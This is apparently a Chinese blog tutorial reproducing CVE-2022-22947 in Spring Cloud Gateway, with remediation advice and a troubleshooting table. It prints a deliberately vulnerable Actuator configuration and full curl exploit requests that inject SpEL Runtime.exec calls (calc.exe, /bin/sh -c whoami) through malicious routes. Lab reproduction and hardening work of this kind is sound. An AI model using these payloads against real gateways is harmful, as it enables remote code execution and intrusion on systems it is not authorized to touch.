1. 项目概述与背景

最近在整理内部安全资产时,又看到了CVE-2022-22947这个漏洞的扫描记录。这个漏洞在2022年初爆出来的时候,可以说是掀起了不小的波澜,毕竟涉及到的是Spring Cloud Gateway这个在微服务架构中扮演着“流量守门员”角色的核心组件。一个远程代码执行漏洞出现在这里,意味着攻击者可能绕过所有业务逻辑,直接控制网关,其危害性不言而喻。虽然距离漏洞公开已经过去一段时间,相关的修复和防护措施也早已普及,但我觉得对于安全从业者,尤其是刚入行的朋友来说,亲手复现一遍这个漏洞,其价值远不止于完成一个“实验报告”。它能帮你深刻理解Spring Cloud Gateway的工作原理、漏洞的触发链条、以及在实际渗透测试中如何快速定位和利用这类问题。今天,我就以一个“踩坑者”和“复盘者”的双重身份,带你从头到尾、手把手地复现CVE-2022-22947,并分享一些在复现过程中容易忽略的细节和排查技巧。

简单来说,CVE-2022-22947是Spring Cloud Gateway中的一个高危漏洞。在特定版本下,当Gateway启用并暴露了Actuator API(特别是 /gateway 端点),且未对路由配置的更新操作进行严格校验时,攻击者可以构造恶意的路由配置,利用其中的 SpEL (Spring Expression Language)表达式注入,最终在网关服务器上实现远程代码执行。这个漏洞的利用门槛相对较低,但影响面却非常广,因为它直接威胁到微服务架构的入口安全。接下来,我们就从环境搭建开始,一步步揭开它的面纱。

2. 漏洞环境搭建与核心原理剖析

2.1 靶机环境选择与搭建

要复现漏洞,首先得有一个存在漏洞的环境。最省事的方法当然是使用现成的漏洞靶场,比如Vulhub或Vulfocus上都有打包好的环境。但为了更深入地理解漏洞成因,我强烈建议你自己从零开始搭建一个简易的、存在漏洞的Spring Cloud Gateway应用。这能让你对项目的依赖、配置有最直观的感受。

这里我选择使用Spring Boot 2.6.3和Spring Cloud 2021.0.0,因为这是当时受影响的典型版本组合。你可以通过Spring Initializr快速生成一个项目,核心依赖只需要选择 Spring Cloud Gateway Spring Boot Actuator Actuator 是暴露监控和管理端点的模块,正是漏洞利用的关键入口。

生成项目后,关键的漏洞触发配置在 application.yml application.properties 中。为了让Actuator端点可访问,尤其是我们需要用到的 /actuator/gateway 端点,你必须显式地开启它并进行暴露。一个典型的漏洞配置示例如下:

server:
  port: 8080

management:
  endpoint:
    gateway:
      enabled: true # 启用gateway端点
  endpoints:
    web:
      exposure:
        include: "*" # 暴露所有端点,这在实际生产中是极度危险的!
      base-path: /actuator # 访问路径前缀

注意: management.endpoints.web.exposure.include 设置为 "*" 意味着所有Actuator端点(包括健康检查、信息、日志、路由管理等)都对外暴露。这在生产环境中是绝对禁止的安全反模式,也正是很多漏洞能够被利用的前提。在复现环境里我们这样配置是为了方便,但务必清楚其风险。

启动这个应用后,访问 http://localhost:8080/actuator ,你应该能看到一个JSON,里面列出了所有可用的端点,其中包含 /actuator/gateway 。如果能看到,说明漏洞利用的“大门”已经打开了。

2.2 漏洞核心原理:SpEL表达式注入

为什么一个路由配置更新功能会导致远程代码执行?这就要深入到Spring Cloud Gateway处理路由的核心机制和SpEL表达式的特性了。

Spring Cloud Gateway允许通过Actuator API动态地添加、删除路由。添加路由时,你需要提交一个包含路由定义(如ID、目标URI、断言、过滤器等)的JSON。问题出在 过滤器 的配置上。Gateway的过滤器配置中,某些属性的值支持使用SpEL表达式来动态计算。SpEL功能非常强大,它不仅能进行简单的属性引用、方法调用,甚至可以通过 T() 操作符调用任意Java类的静态方法。

漏洞的根源在于,当通过Actuator API添加路由时,Gateway服务端在解析并保存路由配置的过程中, 对用户传入的过滤器配置中的SpEL表达式未经任何过滤或沙箱处理,就直接进行了解析和执行 。攻击者正是利用了这一点,在过滤器配置里嵌入恶意的SpEL表达式,例如 #{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")} 。当该路由被请求触发时,嵌入的SpEL表达式会被执行,从而达到了命令执行的效果。

更具体的技术路径是:

  1. 攻击入口 :暴露的 POST /actuator/gateway/routes/{id} 接口,用于创建新路由。
  2. 载荷载体 :在创建路由的JSON请求体中,在 filters 数组里配置一个过滤器(如 AddResponseHeader ),并将其某个属性值设置为恶意的SpEL表达式字符串。
  3. 触发执行 :路由创建后,当有HTTP请求匹配到该路由的断言(predicates)时,网关会执行该路由链上的过滤器。在初始化或执行这个恶意过滤器时,SpEL表达式被解析求值,恶意代码得以执行。
  4. 利用技巧 :为了确保命令能执行,攻击者通常会精心设计路由的断言条件,使其能被自己轻易触发(例如,匹配一个特定的路径或头信息)。

理解了这个原理,你就明白修复方案的核心:要么禁用通过Actuator动态更新路由的功能,要么对动态配置中的SpEL表达式进行严格的校验或禁用。官方后续的修复正是沿着这个思路进行的。

3. 漏洞复现实操步骤详解

理论讲完了,我们动手来验证一下。整个利用过程可以清晰地分为三步:信息探测、投递恶意路由、触发路由执行命令。

3.1 第一步:信息探测与端点确认

在发起攻击前,我们需要确认目标是否存在漏洞利用的条件。使用浏览器或 curl 命令即可完成初步探测:

  1. 确认Actuator端点暴露 :访问 http://target-ip:8080/actuator 。如果返回一个JSON对象,并且其中包含 "gateway" 这个链接,例如 {"_links":{"gateway":{"href":"http://target-8080/actuator/gateway",...}}} ,那么第一个条件满足。
  2. 确认Gateway端点可用 :进一步访问 http://target-ip:8080/actuator/gateway/routes 。如果返回当前的路由配置(可能是空的JSON数组 [] ),则说明 /actuator/gateway 端点已启用且可访问,这是动态添加路由的前提。

如果以上两步都成功,那么目标很可能存在漏洞风险。接下来,我们准备发起攻击。

3.2 第二步:构造并投递恶意路由配置

这是利用的核心步骤。我们需要向 /actuator/gateway/routes/{new_route_id} 发送一个POST请求,请求体是一个包含恶意SpEL表达式的路由定义JSON。

我以一个在Windows靶机上弹出计算器( calc.exe )的Payload为例。假设我们创建的路由ID为 hack

请求示例:

curl -X POST http://localhost:8080/actuator/gateway/routes/hack \
  -H "Content-Type: application/json" \
  -d '{
    "predicates": [
      {
        "name": "Path",
        "args": {
          "_genkey_0": "/hack"
        }
      }
    ],
    "filters": [
      {
        "name": "AddResponseHeader",
        "args": {
          "name": "X-Hack",
          "value": "#{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")}"
        }
      }
    ],
    "uri": "http://example.com",
    "order": 0
  }'

请求体关键点解析:

  • predicates : 定义了路由的匹配条件。这里我们设置了一个 Path 断言,匹配路径 /hack 。这意味着任何访问 http://target-ip:8080/hack 的请求都会命中这条路由。
  • filters : 定义路由的过滤器链。我们添加了一个 AddResponseHeader 过滤器,本意是在响应头中添加一个 X-Hack 。但关键在于其 value 参数的值,我们注入了一段SpEL表达式: #{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")} 。当过滤器逻辑处理这个 value 时,SpEL引擎会执行这段代码。
  • uri : 路由转发的目标URI。这里填一个任意合法的URL即可,因为我们的目的不是真的转发,而是触发过滤器执行。在实际攻击中,你可能会指向一个不存在的地址。
  • order : 路由的优先级。

发送这个POST请求后,如果返回状态码为 201 Created 或者 200 OK ,并且访问 /actuator/gateway/routes 能看到新增的 hack 路由,说明恶意路由已经成功添加到了网关的内存中。

实操心得: 在构造Payload时,SpEL表达式中的引号转义是一个常见的坑点。在JSON字符串中,双引号 " 需要被转义为 \" 。如果使用一些图形化工具(如Postman)直接粘贴未转义的Payload,可能会导致JSON解析失败。我习惯先用 curl 命令测试,因为它对转义字符的处理更直观。另外, T() 操作符用于指定类,其后的方法调用支持重载,你可以根据目标系统选择执行不同的命令,例如在Linux上执行 /bin/sh -c whoami

3.3 第三步:刷新路由与触发执行

仅仅添加路由,恶意代码还不会执行。Spring Cloud Gateway的路由配置在内存中有一个加载和刷新的过程。我们需要显式地刷新路由,让新添加的配置生效。

  1. 刷新路由 :向 /actuator/gateway/refresh 端点发送一个POST请求。

    curl -X POST http://localhost:8080/actuator/gateway/refresh
    

    这个操作会触发网关重新加载所有路由定义。此时,我们添加的包含SpEL过滤器的路由 hack 就被正式激活了。

  2. 触发路由执行 :访问我们之前定义的路由路径 http://localhost:8080/hack 。 当这个HTTP请求到达网关时,网关会匹配到ID为 hack 的路由,然后开始执行其过滤器链。在执行到 AddResponseHeader 过滤器,尝试获取 value 的值时,嵌入的SpEL表达式 #{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")} 会被解析并执行。

如果一切顺利,在网关服务器(也就是运行Spring Cloud Gateway应用的那台机器)上,你应该会看到计算器程序(calc.exe)被弹出。这直观地证明了远程代码执行已经成功。

完整的利用链验证: 你可以通过一个简单的脚本或连续的命令来验证整个流程:

# 1. 添加恶意路由
curl -X POST http://localhost:8080/actuator/gateway/routes/hack -H "Content-Type: application/json" -d '{"predicates":[{"name":"Path","args":{"_genkey_0":"/hack"}}],"filters":[{"name":"AddResponseHeader","args":{"name":"X-Hack","value":"#{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")}"}}],"uri":"http://example.com","order":0}'

# 2. 刷新路由
curl -X POST http://localhost:8080/actuator/gateway/refresh

# 3. 触发执行
curl http://localhost:8080/hack

执行完第三步后,检查服务器桌面是否有计算器弹出。如果没有图形界面,可以尝试将命令改为执行 touch /tmp/hacked (Linux)或 echo hacked > C:\hacked.txt (Windows)来验证文件操作是否成功。

4. 漏洞修复与安全加固方案

成功复现漏洞后,我们必须讨论如何修复和防御。对于不同角色的读者,关注点不同:

如果你是系统所有者/开发者:

  1. 立即升级 :这是最根本的解决方案。将Spring Cloud Gateway升级到安全版本(对于Spring Cloud 2021.x 系列,应升级至2021.0.1+;对于Spring Cloud 2020.x 系列,应升级至2020.0.6+)。新版本默认禁用了通过Actuator端点进行路由操作的敏感功能,并对配置中的SpEL表达式进行了安全限制。
  2. 临时缓解措施 :如果无法立即升级,必须采取以下措施:
    • 严格限制Actuator端点暴露 :在生产配置中,绝对不要使用 include: \"*\" 。只暴露必要的端点,例如 health info 。确保 gateway 端点不被暴露。
      management:
        endpoints:
          web:
            exposure:
              include: health,info # 仅暴露健康和基本信息端点
      
    • 禁用动态路由功能 :通过设置 management.endpoint.gateway.enabled: false 来彻底关闭通过Actuator管理路由的功能。
    • 网络层隔离 :通过安全组、防火墙或Kubernetes NetworkPolicy等机制,确保Actuator端点(默认 /actuator/* )仅能被内部管理网络或可信IP访问,禁止公网直接访问。

如果你是安全工程师/渗透测试人员: 你的任务是在授权测试中,帮助企业发现这类问题。除了手动利用,可以将其集成到扫描策略中:

  1. 自动化探测 :编写脚本或使用扫描器插件,自动探测 /actuator /actuator/gateway 端点的可访问性。
  2. 无害化验证 :在授权测试中,为了证明漏洞存在而不造成损害,可以使用无害的SpEL表达式进行验证,例如:
    • #{T(java.lang.System).getProperty(\"user.dir\")} - 获取当前工作目录。
    • #{T(java.lang.System).getenv(\"PATH\")} - 获取环境变量。
    • 发起一个DNS查询或HTTP请求到你自己控制的服务器,作为“外带”验证通道。
  3. 关注依赖链 :在资产梳理时,不仅要关注Spring Cloud Gateway本身,还要关注那些引用了Gateway的聚合项目或二次开发框架,它们同样可能受到威胁。

5. 深度排查与疑难问题解决

在复现过程中,你可能会遇到各种问题导致利用失败。下面我整理了一份常见问题排查清单,这些都是我踩过的坑:

问题现象 可能原因 排查步骤与解决方案
访问 /actuator 返回404 1. Actuator依赖未添加。
2. 未配置暴露端点。
1. 检查 pom.xml build.gradle ,确认已添加 spring-boot-starter-actuator 依赖。
2. 检查 application.yml ,确认 management.endpoints.web.exposure.include 包含了 * gateway
访问 /actuator/gateway/routes 返回404或405 1. Gateway端点未单独启用。
2. 版本差异,端点路径或名称不同。
1. 检查配置,确认 management.endpoint.gateway.enabled: true
2. 访问 /actuator 查看端点链接列表,确认 gateway 链接存在且路径正确。
POST添加路由返回4xx错误 1. 请求体JSON格式错误。
2. SpEL表达式语法错误或转义问题。
3. 路由ID已存在。
1. 使用JSON格式化工具校验请求体。
2. 特别注意SpEL表达式中双引号的转义( \" )。可以先尝试一个最简单的路由(不含SpEL)测试接口是否正常。
3. 换一个唯一的路由ID。
路由添加成功,但刷新后访问路径不触发 1. 路由断言(Predicate)配置错误,请求未匹配。
2. 过滤器配置的SpEL表达式在解析时出错,导致路由整体失效。
1. 检查 predicates 配置,确保你访问的URL路径(如 /hack )与配置的 Path 完全匹配。
2. 在服务器日志中查找SpEL解析错误。可以尝试一个更简单的SpEL,如 #{1+1} ,验证过滤器是否工作。
命令执行无回显 1. 命令执行成功,但无图形界面(服务器无桌面环境)。
2. Runtime.exec执行管道或重定向复杂的命令可能失败。
1. 改用创建文件、发送DNS/HTTP请求到外带服务器等方式验证命令执行。
2. 使用 String[] 参数形式调用 exec ,例如 exec(new String[]{\"/bin/sh\", \"-c\", \"whoami > /tmp/out\"}) ,这比单纯一个字符串命令更可靠。
升级后漏洞仍疑似存在 1. 依赖版本冲突,实际生效的并非安全版本。
2. 自定义配置或代码覆盖了安全默认值。
1. 使用 mvn dependency:tree gradle dependencies 命令检查真实的依赖树,确认 spring-cloud-starter-gateway 的版本号。
2. 检查是否有自定义的 GatewayProperties 配置或扩展了路由定义逻辑,可能重新引入了风险。

一个高级技巧:日志分析 当利用不成功时,查看Spring Boot应用的日志是最高效的排查手段。在 application.yml 中增加以下配置,将Gateway和Actuator相关日志级别调为DEBUG或TRACE:

logging:
  level:
    org.springframework.cloud.gateway: DEBUG
    org.springframework.boot.actuate.endpoint.web.servlet: DEBUG

重启应用后,重复利用步骤。观察日志中是否有关于路由添加、刷新、匹配以及SpEL表达式解析的详细记录。错误信息通常会明确指出问题所在,例如“SpEL evaluation failed”或“Cannot convert value of type 'java.lang.String' to required type 'java.net.URI'”。

复现CVE-2022-22947,绝不仅仅是为了让计算器弹出来那一刻的“成就感”。它更像是一次深入微服务网关安全腹地的实战演练。通过亲手搭建环境、构造Payload、触发漏洞、再到分析修复方案,你会对“配置不当”、“表达式注入”这些抽象的安全概念有血肉般的理解。在真实的渗透测试或红队评估中,面对成千上万的资产,快速判断一个Spring Cloud Gateway实例是否存在此漏洞,并选择合适的无害化验证方式,这背后的经验就来自于一次次这样的复现练习。最后记住,安全是一个持续的过程,知其然并知其所以然,才能更好地构建防御。

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐